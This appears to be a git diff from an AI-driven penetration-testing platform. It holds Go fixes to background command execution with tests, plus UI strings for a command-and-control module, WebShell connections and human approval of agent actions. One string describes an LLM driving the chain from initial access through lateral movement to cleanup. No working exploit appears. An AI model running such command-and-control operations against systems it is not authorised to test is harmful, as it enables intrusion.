pidCommand := fmt.Sprintf("%s & pid=$!; echo $pid", commandWithoutAmpersand)
|
||||
// 构建新命令:将用户命令置于独立重定向的后台作业,再 echo $pid。
|
||||
// 若子进程与 echo 共享同一 stdout 管道,且长时间不向 stdout 写入换行,
|
||||
// bufio.ReadString('\n') 会永久阻塞(例如 beacon 持续写二进制/单行日志)。
|
||||
pidCommand := fmt.Sprintf("%s </dev/null >/dev/null 2>&1 & pid=$!; echo $pid", commandWithoutAmpersand)
|
||||
|
||||
// 创建新命令来获取PID
|
||||
var pidCmd *exec.Cmd
|
||||
|
||||
@@ -19,11 +19,11 @@ import (
|
||||
func setupTestExecutor(t *testing.T) (*Executor, *mcp.Server) {
|
||||
logger := zap.NewNop()
|
||||
mcpServer := mcp.NewServer(logger)
|
||||
|
||||
|
||||
cfg := &config.SecurityConfig{
|
||||
Tools: []config.ToolConfig{},
|
||||
}
|
||||
|
||||
|
||||
executor := NewExecutor(cfg, mcpServer, logger)
|
||||
return executor, mcpServer
|
||||
}
|
||||
@@ -32,12 +32,12 @@ func setupTestExecutor(t *testing.T) (*Executor, *mcp.Server) {
|
||||
func setupTestStorage(t *testing.T) *storage.FileResultStorage {
|
||||
tmpDir := filepath.Join(os.TempDir(), "test_executor_storage_"+time.Now().Format("20060102_150405"))
|
||||
logger := zap.NewNop()
|
||||
|
||||
|
||||
storage, err := storage.NewFileResultStorage(tmpDir, logger)
|
||||
if err != nil {
|
||||
t.Fatalf("创建测试存储失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
return storage
|
||||
}
|
||||
|
||||
@@ -45,46 +45,46 @@ func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
testStorage := setupTestStorage(t)
|
||||
executor.SetResultStorage(testStorage)
|
||||
|
||||
|
||||
// 准备测试数据
|
||||
executionID := "test_exec_001"
|
||||
toolName := "nmap_scan"
|
||||
result := "Line 1: Port 22 open\nLine 2: Port 80 open\nLine 3: Port 443 open\nLine 4: error occurred"
|
||||
|
||||
|
||||
// 保存测试结果
|
||||
err := testStorage.SaveResult(executionID, toolName, result)
|
||||
if err != nil {
|
||||
t.Fatalf("保存测试结果失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
|
||||
// 测试1: 基本查询(第一页)
|
||||
args := map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"page": float64(1),
|
||||
"limit": float64(2),
|
||||
}
|
||||
|
||||
|
||||
toolResult, err := executor.executeQueryExecutionResult(ctx, args)
|
||||
if err != nil {
|
||||
t.Fatalf("执行查询失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if toolResult.IsError {
|
||||
t.Fatalf("查询应该成功,但返回了错误: %s", toolResult.Content[0].Text)
|
||||
}
|
||||
|
||||
|
||||
// 验证结果包含预期内容
|
||||
resultText := toolResult.Content[0].Text
|
||||
if !strings.Contains(resultText, executionID) {
|
||||
t.Errorf("结果中应该包含执行ID: %s", executionID)
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(resultText, "第 1/") {
|
||||
t.Errorf("结果中应该包含分页信息")
|
||||
}
|
||||
|
||||
|
||||
// 测试2: 搜索功能
|
||||
args2 := map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
@@ -92,21 +92,21 @@ func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
|
||||
"page": float64(1),
|
||||
"limit": float64(10),
|
||||
}
|
||||
|
||||
|
||||
toolResult2, err := executor.executeQueryExecutionResult(ctx, args2)
|
||||
if err != nil {
|
||||
t.Fatalf("执行搜索失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if toolResult2.IsError {
|
||||
t.Fatalf("搜索应该成功,但返回了错误: %s", toolResult2.Content[0].Text)
|
||||
}
|
||||
|
||||
|
||||
resultText2 := toolResult2.Content[0].Text
|
||||
if !strings.Contains(resultText2, "error") {
|
||||
t.Errorf("搜索结果中应该包含关键词: error")
|
||||
}
|
||||
|
||||
|
||||
// 测试3: 过滤功能
|
||||
args3 := map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
@@ -114,46 +114,46 @@ func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
|
||||
"page": float64(1),
|
||||
"limit": float64(10),
|
||||
}
|
||||
|
||||
|
||||
toolResult3, err := executor.executeQueryExecutionResult(ctx, args3)
|
||||
if err != nil {
|
||||
t.Fatalf("执行过滤失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if toolResult3.IsError {
|
||||
t.Fatalf("过滤应该成功,但返回了错误: %s", toolResult3.Content[0].Text)
|
||||
}
|
||||
|
||||
|
||||
resultText3 := toolResult3.Content[0].Text
|
||||
if !strings.Contains(resultText3, "Port") {
|
||||
t.Errorf("过滤结果中应该包含关键词: Port")
|
||||
}
|
||||
|
||||
|
||||
// 测试4: 缺少必需参数
|
||||
args4 := map[string]interface{}{
|
||||
"page": float64(1),
|
||||
}
|
||||
|
||||
|
||||
toolResult4, err := executor.executeQueryExecutionResult(ctx, args4)
|
||||
if err != nil {
|
||||
t.Fatalf("执行查询失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if !toolResult4.IsError {
|
||||
t.Fatal("缺少execution_id应该返回错误")
|
||||
}
|
||||
|
||||
|
||||
// 测试5: 不存在的执行ID
|
||||
args5 := map[string]interface{}{
|
||||
"execution_id": "nonexistent_id",
|
||||
"page": float64(1),
|
||||
}
|
||||
|
||||
|
||||
toolResult5, err := executor.executeQueryExecutionResult(ctx, args5)
|
||||
if err != nil {
|
||||
t.Fatalf("执行查询失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if !toolResult5.IsError {
|
||||
t.Fatal("不存在的执行ID应该返回错误")
|
||||
}
|
||||
@@ -161,22 +161,22 @@ func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
|
||||
|
||||
func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
|
||||
|
||||
ctx := context.Background()
|
||||
args := map[string]interface{}{
|
||||
"test": "value",
|
||||
}
|
||||
|
||||
|
||||
// 测试未知的内部工具类型
|
||||
toolResult, err := executor.executeInternalTool(ctx, "unknown_tool", "internal:unknown_tool", args)
|
||||
if err != nil {
|
||||
t.Fatalf("执行内部工具失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if !toolResult.IsError {
|
||||
t.Fatal("未知的工具类型应该返回错误")
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(toolResult.Content[0].Text, "未知的内部工具类型") {
|
||||
t.Errorf("错误消息应该包含'未知的内部工具类型'")
|
||||
}
|
||||
@@ -185,29 +185,52 @@ func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
|
||||
func TestExecutor_ExecuteInternalTool_NoStorage(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
// 不设置存储,测试未初始化的情况
|
||||
|
||||
|
||||
ctx := context.Background()
|
||||
args := map[string]interface{}{
|
||||
"execution_id": "test_id",
|
||||
}
|
||||
|
||||
|
||||
toolResult, err := executor.executeQueryExecutionResult(ctx, args)
|
||||
if err != nil {
|
||||
t.Fatalf("执行查询失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if !toolResult.IsError {
|
||||
t.Fatal("未初始化的存储应该返回错误")
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(toolResult.Content[0].Text, "结果存储未初始化") {
|
||||
t.Errorf("错误消息应该包含'结果存储未初始化'")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
// 子进程先向 stdout 写无换行字符再长时间 sleep;若与 echo $pid 共享管道且未重定向子进程 stdout,
|
||||
// ReadString('\n') 会阻塞到子进程退出。后台包装须将子进程标准流与 PID 行分离。
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
|
||||
defer cancel()
|
||||
args := map[string]interface{}{
|
||||
"command": `(sh -c 'printf x; sleep 120') &`,
|
||||
"shell": "sh",
|
||||
}
|
||||
res, err := executor.executeSystemCommand(ctx, args)
|
||||
if err != nil {
|
||||
t.Fatalf("executeSystemCommand: %v", err)
|
||||
}
|
||||
if res == nil || res.IsError {
|
||||
t.Fatalf("expected success, got %+v", res)
|
||||
}
|
||||
txt := res.Content[0].Text
|
||||
if !strings.Contains(txt, "后台命令已启动") {
|
||||
t.Fatalf("unexpected body: %q", txt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPaginateLines(t *testing.T) {
|
||||
lines := []string{"Line 1", "Line 2", "Line 3", "Line 4", "Line 5"}
|
||||
|
||||
|
||||
// 测试第一页
|
||||
page := paginateLines(lines, 1, 2)
|
||||
if page.Page != 1 {
|
||||
@@ -225,7 +248,7 @@ func TestPaginateLines(t *testing.T) {
|
||||
if len(page.Lines) != 2 {
|
||||
t.Errorf("第一页行数不匹配。期望: 2, 实际: %d", len(page.Lines))
|
||||
}
|
||||
|
||||
|
||||
// 测试第二页
|
||||
page2 := paginateLines(lines, 2, 2)
|
||||
if len(page2.Lines) != 2 {
|
||||
@@ -234,13 +257,13 @@ func TestPaginateLines(t *testing.T) {
|
||||
if page2.Lines[0] != "Line 3" {
|
||||
t.Errorf("第二页第一行不匹配。期望: Line 3, 实际: %s", page2.Lines[0])
|
||||
}
|
||||
|
||||
|
||||
// 测试最后一页
|
||||
page3 := paginateLines(lines, 3, 2)
|
||||
if len(page3.Lines) != 1 {
|
||||
t.Errorf("第三页行数不匹配。期望: 1, 实际: %d", len(page3.Lines))
|
||||
}
|
||||
|
||||
|
||||
// 测试超出范围的页码(应该返回最后一页)
|
||||
page4 := paginateLines(lines, 4, 2)
|
||||
if page4.Page != 3 {
|
||||
@@ -249,13 +272,13 @@ func TestPaginateLines(t *testing.T) {
|
||||
if len(page4.Lines) != 1 {
|
||||
t.Errorf("最后一页应该只有1行。实际: %d行", len(page4.Lines))
|
||||
}
|
||||
|
||||
|
||||
// 测试无效页码(小于1)
|
||||
page0 := paginateLines(lines, 0, 2)
|
||||
if page0.Page != 1 {
|
||||
t.Errorf("无效页码应该被修正为1。实际: %d", page0.Page)
|
||||
}
|
||||
|
||||
|
||||
// 测试空列表
|
||||
emptyPage := paginateLines([]string{}, 1, 10)
|
||||
if emptyPage.TotalLines != 0 {
|
||||
@@ -265,4 +288,3 @@ func TestPaginateLines(t *testing.T) {
|
||||
t.Errorf("空列表应该返回空结果。实际: %d行", len(emptyPage.Lines))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ type rateLimitEntry struct {
|
||||
|
||||
// RateLimiter 基于 IP 的滑动窗口速率限制器
|
||||
type RateLimiter struct {
|
||||
mu sync.Mutex
|
||||
entries map[string]*rateLimitEntry
|
||||
limit int // 窗口内允许的最大请求数
|
||||
window time.Duration // 窗口时长
|
||||
mu sync.Mutex
|
||||
entries map[string]*rateLimitEntry
|
||||
limit int // 窗口内允许的最大请求数
|
||||
window time.Duration // 窗口时长
|
||||
}
|
||||
|
||||
// NewRateLimiter 创建速率限制器
|
||||
|
||||
@@ -162,4 +162,3 @@ func truncateRunes(s string, max int) string {
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
|
||||
@@ -49,12 +49,12 @@ func ParseSkillMD(raw []byte) (*SkillManifest, string, error) {
|
||||
}
|
||||
|
||||
type skillFrontMatterExport struct {
|
||||
Name string `yaml:"name"`
|
||||
Description string `yaml:"description"`
|
||||
License string `yaml:"license,omitempty"`
|
||||
Compatibility string `yaml:"compatibility,omitempty"`
|
||||
Metadata map[string]any `yaml:"metadata,omitempty"`
|
||||
AllowedTools string `yaml:"allowed-tools,omitempty"`
|
||||
Name string `yaml:"name"`
|
||||
Description string `yaml:"description"`
|
||||
License string `yaml:"license,omitempty"`
|
||||
Compatibility string `yaml:"compatibility,omitempty"`
|
||||
Metadata map[string]any `yaml:"metadata,omitempty"`
|
||||
AllowedTools string `yaml:"allowed-tools,omitempty"`
|
||||
}
|
||||
|
||||
// BuildSkillMD serializes SKILL.md per agentskills.io.
|
||||
|
||||
@@ -9,10 +9,10 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
maxPackageFiles = 4000
|
||||
maxPackageDepth = 24
|
||||
maxScriptsDepth = 24
|
||||
defaultMaxRead = 10 << 20
|
||||
maxPackageFiles = 4000
|
||||
maxPackageDepth = 24
|
||||
maxScriptsDepth = 24
|
||||
defaultMaxRead = 10 << 20
|
||||
)
|
||||
|
||||
// SafeRelPath resolves rel inside root (no ..).
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+2090
-255
File diff suppressed because it is too large
Load Diff
+505
-6
@@ -20,7 +20,13 @@
|
||||
"copied": "Copied",
|
||||
"copyFailed": "Copy failed",
|
||||
"view": "View",
|
||||
"actions": "Actions"
|
||||
"actions": "Actions",
|
||||
"loadFailed": "Load failed",
|
||||
"untitled": "Untitled",
|
||||
"justNow": "Just now",
|
||||
"minutesAgo": "{{n}} min ago",
|
||||
"hoursAgo": "{{n}} h ago",
|
||||
"daysAgo": "{{n}} d ago"
|
||||
},
|
||||
"header": {
|
||||
"title": "CyberStrikeAI",
|
||||
@@ -33,6 +39,13 @@
|
||||
"version": "Current version",
|
||||
"toggleSidebar": "Collapse/expand sidebar"
|
||||
},
|
||||
"notifications": {
|
||||
"title": "Notifications",
|
||||
"empty": "No new events",
|
||||
"markAllRead": "Mark all read",
|
||||
"markSingleRead": "Read",
|
||||
"itemDefaultTitle": "Notification"
|
||||
},
|
||||
"login": {
|
||||
"title": "Sign in to CyberStrikeAI",
|
||||
"subtitle": "Enter the access password from config",
|
||||
@@ -62,7 +75,14 @@
|
||||
"roles": "Roles",
|
||||
"rolesManagement": "Roles Management",
|
||||
"settings": "System settings",
|
||||
"hitl": "Human-in-the-loop"
|
||||
"hitl": "Human-in-the-loop",
|
||||
"c2": "C2",
|
||||
"c2Listeners": "Listeners",
|
||||
"c2Sessions": "Sessions",
|
||||
"c2Tasks": "Tasks",
|
||||
"c2Payloads": "Payload",
|
||||
"c2Events": "Events",
|
||||
"c2Profiles": "Traffic profiles"
|
||||
},
|
||||
"dashboard": {
|
||||
"title": "Dashboard",
|
||||
@@ -75,12 +95,30 @@
|
||||
"clickToViewTasks": "Click to view tasks",
|
||||
"clickToViewVuln": "Click to view vulnerabilities",
|
||||
"clickToViewMCP": "Click to view MCP monitor",
|
||||
"c2OverviewTitle": "C2 overview",
|
||||
"c2GoManage": "Open C2 →",
|
||||
"c2ListenersRunning": "Listeners running",
|
||||
"c2SessionsOnline": "Sessions online",
|
||||
"c2TasksPending": "Pending / queued tasks",
|
||||
"c2ClickListeners": "View listeners",
|
||||
"c2ClickSessions": "View sessions",
|
||||
"c2ClickTasks": "View tasks",
|
||||
"severityDistribution": "Vulnerability severity distribution",
|
||||
"severityCritical": "Critical",
|
||||
"severityHigh": "High",
|
||||
"severityMedium": "Medium",
|
||||
"severityLow": "Low",
|
||||
"severityInfo": "Info",
|
||||
"totalVulns": "Total vulnerabilities",
|
||||
"riskLevel": "Risk level",
|
||||
"riskScore": "Weighted risk score",
|
||||
"riskSafe": "Safe",
|
||||
"riskLow": "Low",
|
||||
"riskMedium": "Medium",
|
||||
"riskHigh": "High",
|
||||
"riskSevere": "Severe",
|
||||
"latestFound": "Latest found",
|
||||
"noneYet": "None yet",
|
||||
"runOverview": "Run overview",
|
||||
"batchQueues": "Batch task queues",
|
||||
"pending": "Pending",
|
||||
@@ -107,7 +145,80 @@
|
||||
"toUse": "To use",
|
||||
"active": "Active",
|
||||
"highFreq": "High frequency",
|
||||
"noCallData": "No call data"
|
||||
"noCallData": "No call data",
|
||||
"lastUpdated": "Last updated",
|
||||
"viewAll": "View all →",
|
||||
"recentVulns": "Recent vulnerabilities",
|
||||
"noVulnYet": "No recent vulnerabilities",
|
||||
"capabilities": "Capabilities",
|
||||
"mcpTools": "MCP tools",
|
||||
"rolesLabel": "Roles",
|
||||
"agentsLabel": "Agents",
|
||||
"webshellLabel": "WebShell",
|
||||
"pendingCountLabel": "{{count}} pending",
|
||||
"highCountLabel": "High {{count}}",
|
||||
"toolsCountLabel_one": "{{count}} tool",
|
||||
"toolsCountLabel_other": "{{count}} tools",
|
||||
"failedNCalls_one": "{{count}} failed",
|
||||
"failedNCalls_other": "{{count}} failed",
|
||||
"noCallYet": "No calls yet",
|
||||
"allClear": "No new risks",
|
||||
"allIdle": "System idle",
|
||||
"executingNow": "Running",
|
||||
"healthyStatus": "Healthy",
|
||||
"normalStatus": "Mostly OK",
|
||||
"degradedStatus": "Needs attention",
|
||||
"alertTitle": "Heads up",
|
||||
"alertWarningTitle": "Needs attention",
|
||||
"alertDangerTitle": "Action required",
|
||||
"alertCriticalReason_one": "{{count}} open critical vulnerability — please review immediately",
|
||||
"alertCriticalReason_other": "{{count}} open critical vulnerabilities — please review immediately",
|
||||
"alertFailedReason_one": "Tool success rate is low ({{count}} failed call) — check MCP monitor",
|
||||
"alertFailedReason_other": "Tool success rate is low ({{count}} failed calls) — check MCP monitor",
|
||||
"alertHitlReason_one": "{{count}} HITL request pending — Agent is waiting for your decision",
|
||||
"alertHitlReason_other": "{{count}} HITL requests pending — Agent is waiting for your decision",
|
||||
"alertMcpDownReason_one": "{{count}} External MCP server is down — related tools are unavailable",
|
||||
"alertMcpDownReason_other": "{{count}} External MCP servers are down — related tools are unavailable",
|
||||
"alertDismiss": "Dismiss (this session)",
|
||||
"openHighCountLabel": "Open high {{count}}",
|
||||
"allHandled": "All high severity handled",
|
||||
"viewVulns": "View vulnerabilities",
|
||||
"viewMonitor": "View monitor",
|
||||
"viewHitl": "Approve",
|
||||
"viewMcpManagement": "Manage MCP",
|
||||
"statusOpen": "Open",
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"fixRate": "Fix rate",
|
||||
"dataStale": "Data may be stale — please refresh",
|
||||
"recommendedActions": "Recommended Actions",
|
||||
"recommendedActionsHint": "Generated based on current state",
|
||||
"recoFixCritical_one": "Fix {{count}} open critical vulnerability",
|
||||
"recoFixCritical_other": "Fix {{count}} open critical vulnerabilities",
|
||||
"recoFixCriticalDesc": "Critical-level vulnerabilities should be addressed first",
|
||||
"recoApproveHitl_one": "Approve {{count}} HITL request",
|
||||
"recoApproveHitl_other": "Approve {{count}} HITL requests",
|
||||
"recoApproveHitlDesc": "Agent needs your decision to proceed",
|
||||
"recoRestartMcp_one": "Check {{count}} stopped External MCP",
|
||||
"recoRestartMcp_other": "Check {{count}} stopped External MCPs",
|
||||
"recoRestartMcpDesc": "Related tools are unavailable until MCP recovers",
|
||||
"recoCheckMonitor_one": "Investigate {{count}} failed tool call",
|
||||
"recoCheckMonitor_other": "Investigate {{count}} failed tool calls",
|
||||
"recoCheckMonitorDesc": "View failed request details in MCP monitor",
|
||||
"recoSetupMcp": "Configure your first MCP tool",
|
||||
"recoSetupMcpDesc": "Install MCP server before Agent can invoke specific capabilities",
|
||||
"recoStartScan": "Start a scan from chat",
|
||||
"recoStartScanDesc": "Describe your target in chat, AI will help execute",
|
||||
"recentEvents": "Recent Events",
|
||||
"eventUntitled": "Event",
|
||||
"externalMcpServers": "External MCP",
|
||||
"mcpAllRunning": "All running",
|
||||
"mcpPartialDown_one": "{{count}} stopped",
|
||||
"mcpPartialDown_other": "{{count}} stopped",
|
||||
"mcpAllDown": "All stopped",
|
||||
"noVulnDesc": "This list shows recent records; new results appear here when detection completes in chat",
|
||||
"startScanBtn": "Go to chat to scan"
|
||||
},
|
||||
"chat": {
|
||||
"newChat": "New chat",
|
||||
@@ -167,6 +278,7 @@
|
||||
"einoSubAgentStep": "Sub-agent {{agent}} · step {{n}}",
|
||||
"aiThinking": "AI thinking",
|
||||
"planning": "Planning",
|
||||
"assistantStreamPhase": "Assistant output",
|
||||
"toolCallsDetected": "Detected {{count}} tool call(s)",
|
||||
"callTool": "Call tool: {{name}} ({{index}}/{{total}})",
|
||||
"toolExecComplete": "Tool {{name}} completed",
|
||||
@@ -178,7 +290,6 @@
|
||||
"taskCancelled": "Task cancelled",
|
||||
"unknownTool": "Unknown tool",
|
||||
"einoAgentReplyTitle": "Sub-agent reply",
|
||||
"einoRecoveryTitle": "🔄 Invalid tool JSON · run {{n}}/{{max}} (hint appended)",
|
||||
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
||||
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
||||
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
||||
@@ -240,7 +351,20 @@
|
||||
},
|
||||
"hitl": {
|
||||
"pageTitle": "HITL approvals",
|
||||
"pendingTitle": "Pending approvals"
|
||||
"pendingTitle": "Pending approvals",
|
||||
"loading": "Loading...",
|
||||
"emptyState": "No pending approvals",
|
||||
"dismiss": "Dismiss",
|
||||
"conversationLabel": "Conversation:",
|
||||
"reviewEditHelp": "Review & edit mode: provide a JSON object to override tool arguments. Example: {\"command\":\"ls -la\"}",
|
||||
"approvalHelp": "Approval mode: only approve/reject, argument editing is disabled.",
|
||||
"commentHelp": "Comment (optional): briefly note the approval reason.",
|
||||
"commentPlaceholder": "e.g. allow read-only command",
|
||||
"reject": "Reject",
|
||||
"approve": "Approve",
|
||||
"loadFailed": "Failed to load",
|
||||
"invalidJson": "Invalid JSON arguments",
|
||||
"submitFailedPrefix": "Submit failed:"
|
||||
},
|
||||
"progress": {
|
||||
"callingAI": "Calling AI model...",
|
||||
@@ -304,6 +428,8 @@
|
||||
"clearHistory": "Clear history",
|
||||
"cancelTask": "Cancel task",
|
||||
"viewConversation": "View conversation",
|
||||
"viewVulnerabilities": "View vulnerabilities",
|
||||
"viewVulnerabilitiesQueueTitle": "View vulnerabilities: open management filtered to this queue",
|
||||
"retryTask": "Retry",
|
||||
"conversationIdLabel": "Conversation ID",
|
||||
"statusPending": "Pending",
|
||||
@@ -445,6 +571,17 @@
|
||||
"typeCustom": "Custom",
|
||||
"cmdParam": "Command parameter name",
|
||||
"cmdParamPlaceholder": "Leave empty for cmd; e.g. xxx for xxx=command",
|
||||
"encoding": "Response encoding",
|
||||
"encodingAuto": "Auto detect",
|
||||
"encodingUtf8": "UTF-8",
|
||||
"encodingGbk": "GBK (Simplified Chinese Windows)",
|
||||
"encodingGb18030": "GB18030",
|
||||
"encodingHint": "Switch to GBK or GB18030 if the Simplified Chinese Windows target shows garbled output.",
|
||||
"os": "Target OS",
|
||||
"osAuto": "Auto (infer from Shell type)",
|
||||
"osLinux": "Linux / Unix",
|
||||
"osWindows": "Windows",
|
||||
"osHint": "Determines whether file manager / uploads use Linux or Windows commands. Choose Windows for PHP/JSP hosted on Windows.",
|
||||
"remark": "Remark",
|
||||
"remarkPlaceholder": "Friendly name for this connection",
|
||||
"deleteConfirm": "Delete this connection?",
|
||||
@@ -575,6 +712,10 @@
|
||||
"addExternal": "Add external MCP",
|
||||
"toolConfig": "MCP tool config",
|
||||
"saveToolConfig": "Save tool config",
|
||||
"alwaysVisibleLabel": "Pinned",
|
||||
"alwaysVisibleHint": "Always keep visible in Tool Search results",
|
||||
"alwaysVisibleBuiltinLabel": "Builtin default",
|
||||
"alwaysVisibleBuiltinHint": "Backend builtin tool is pinned by default and cannot be disabled",
|
||||
"externalConfig": "External MCP config",
|
||||
"loadingTools": "Loading tools...",
|
||||
"loadToolsTimeout": "Tools load timeout. External MCP may be slow. Click Refresh to retry or check connection.",
|
||||
@@ -1313,6 +1454,12 @@
|
||||
"clear": "Clear",
|
||||
"vulnId": "Vuln ID",
|
||||
"conversationId": "Conversation ID",
|
||||
"taskOrQueueId": "Task / queue ID",
|
||||
"filterTaskOrQueue": "Filter by task or queue ID",
|
||||
"conversationTag": "Conversation tag",
|
||||
"filterConversationTag": "Filter by conversation tag",
|
||||
"taskTag": "Task tag",
|
||||
"filterTaskTag": "Filter by task tag",
|
||||
"severity": "Severity",
|
||||
"status": "Status",
|
||||
"statusOpen": "Open",
|
||||
@@ -1322,7 +1469,31 @@
|
||||
"searchVulnId": "Search vuln ID",
|
||||
"filterConversation": "Filter by conversation",
|
||||
"loading": "Loading...",
|
||||
"noRecords": "No vulnerability records"
|
||||
"loadListFailed": "Failed to load",
|
||||
"noRecords": "No vulnerability records",
|
||||
"batchExport": "Batch export",
|
||||
"downloadMarkdownTitle": "Download Markdown",
|
||||
"exportNoResults": "No vulnerabilities match the current filters",
|
||||
"exportStarted": "Started downloading {{count}} file(s)",
|
||||
"exportFailed": "Export failed",
|
||||
"saveRequiredFields": "Please fill in conversation ID, title, and severity",
|
||||
"saveFailed": "Save failed",
|
||||
"fetchFailed": "Failed to fetch vulnerability",
|
||||
"deleteFailed": "Delete failed",
|
||||
"detailVulnId": "Vuln ID",
|
||||
"detailType": "Type",
|
||||
"detailTarget": "Target",
|
||||
"detailConversationId": "Conversation ID",
|
||||
"detailTaskId": "Task ID",
|
||||
"detailTaskQueueId": "Task queue ID",
|
||||
"detailConversationTag": "Conversation tag",
|
||||
"detailTaskTag": "Task tag",
|
||||
"detailProof": "Proof",
|
||||
"detailImpact": "Impact",
|
||||
"detailRecommendation": "Remediation",
|
||||
"downloadOkTitle": "Downloaded",
|
||||
"exportFailedMessage": "Export failed",
|
||||
"downloadFailed": "Download failed"
|
||||
},
|
||||
"tasksPage": {
|
||||
"statusFilter": "Status filter",
|
||||
@@ -1673,6 +1844,7 @@
|
||||
},
|
||||
"contextMenu": {
|
||||
"viewAttackChain": "View attack chain",
|
||||
"viewVulnerabilities": "View vulnerabilities",
|
||||
"downloadMarkdown": "Download Markdown",
|
||||
"downloadMarkdownSummary": "Summary",
|
||||
"downloadMarkdownFull": "Full",
|
||||
@@ -1768,6 +1940,10 @@
|
||||
"vulnerabilityModal": {
|
||||
"conversationId": "Conversation ID",
|
||||
"conversationIdPlaceholder": "Enter conversation ID",
|
||||
"conversationTag": "Conversation tag",
|
||||
"conversationTagPlaceholder": "e.g. engagement A, weekly report",
|
||||
"taskTag": "Task tag",
|
||||
"taskTagPlaceholder": "e.g. batch scan Q2, retest",
|
||||
"title": "Title",
|
||||
"titlePlaceholder": "Vulnerability title",
|
||||
"description": "Description",
|
||||
@@ -1795,6 +1971,25 @@
|
||||
"recommendation": "Recommendation",
|
||||
"recommendationPlaceholder": "Remediation"
|
||||
},
|
||||
"vulnerabilityMd": {
|
||||
"headingBasic": "Basic information",
|
||||
"labelId": "Vulnerability ID",
|
||||
"labelSeverity": "Severity",
|
||||
"labelStatus": "Status",
|
||||
"labelType": "Type",
|
||||
"labelTarget": "Target",
|
||||
"labelConversationId": "Conversation ID",
|
||||
"labelTaskId": "Task ID",
|
||||
"labelTaskQueueId": "Task queue ID",
|
||||
"labelConversationTag": "Conversation tag",
|
||||
"labelTaskTag": "Task tag",
|
||||
"labelCreated": "Created at",
|
||||
"labelUpdated": "Updated at",
|
||||
"headingDescription": "Description",
|
||||
"headingProof": "Proof (POC)",
|
||||
"headingImpact": "Impact",
|
||||
"headingRecommendation": "Remediation"
|
||||
},
|
||||
"roleModal": {
|
||||
"addRole": "Add role",
|
||||
"editRole": "Edit role",
|
||||
@@ -1853,5 +2048,309 @@
|
||||
"roleFilterOnBanner": "These tools are checked and linked to this role (independent of MCP-wide enable).",
|
||||
"roleFilterOffBanner": "These tools are unchecked and not linked to this role.",
|
||||
"checkboxLinkTitle": "Check to link this tool to this role"
|
||||
},
|
||||
"c2": {
|
||||
"title": "C2 Management",
|
||||
"welcomeTitle": "AI-Native C2 Framework",
|
||||
"welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
|
||||
"statListeners": "Running Listeners",
|
||||
"statSessions": "Online Sessions",
|
||||
"statPending": "Pending Tasks",
|
||||
"goListeners": "Manage Listeners",
|
||||
"goSessions": "View Sessions",
|
||||
"clipboardCopied": "Copied to clipboard",
|
||||
"fmt": {
|
||||
"durationMs": "{{n}}ms",
|
||||
"durationSec": "{{n}}s",
|
||||
"durationMin": "{{n}}m"
|
||||
},
|
||||
"files": {
|
||||
"parent": "Parent",
|
||||
"refresh": "Refresh",
|
||||
"loading": "Loading…",
|
||||
"timeout": "Timed out loading files",
|
||||
"emptyDir": "Empty directory",
|
||||
"colName": "Name",
|
||||
"colSize": "Size",
|
||||
"colMode": "Mode",
|
||||
"colActions": "Actions",
|
||||
"open": "Open",
|
||||
"download": "Download",
|
||||
"failed": "Failed"
|
||||
},
|
||||
"listeners": {
|
||||
"title": "Listener Management",
|
||||
"create": "Create Listener",
|
||||
"name": "Name",
|
||||
"type": "Type",
|
||||
"bindHost": "Bind Host",
|
||||
"bindPort": "Bind Port",
|
||||
"status": "Status",
|
||||
"remark": "Remark",
|
||||
"actions": "Actions",
|
||||
"start": "Start",
|
||||
"stop": "Stop",
|
||||
"delete": "Delete",
|
||||
"edit": "Edit",
|
||||
"running": "Running",
|
||||
"stopped": "Stopped",
|
||||
"placeholderName": "Enter listener name",
|
||||
"placeholderHost": "Default 127.0.0.1",
|
||||
"placeholderPort": "Enter port number",
|
||||
"placeholderRemark": "Optional remark",
|
||||
"emptyTitle": "No listeners yet",
|
||||
"emptyHint": "Create your first C2 listener using the button below",
|
||||
"headerCreateBtn": "+ Create Listener",
|
||||
"modalCreateTitle": "Create Listener",
|
||||
"placeholderNameExample": "e.g. http-beacon-01",
|
||||
"bindHintExternal": "Use 0.0.0.0 to allow external access",
|
||||
"callbackHost": "Callback host (optional)",
|
||||
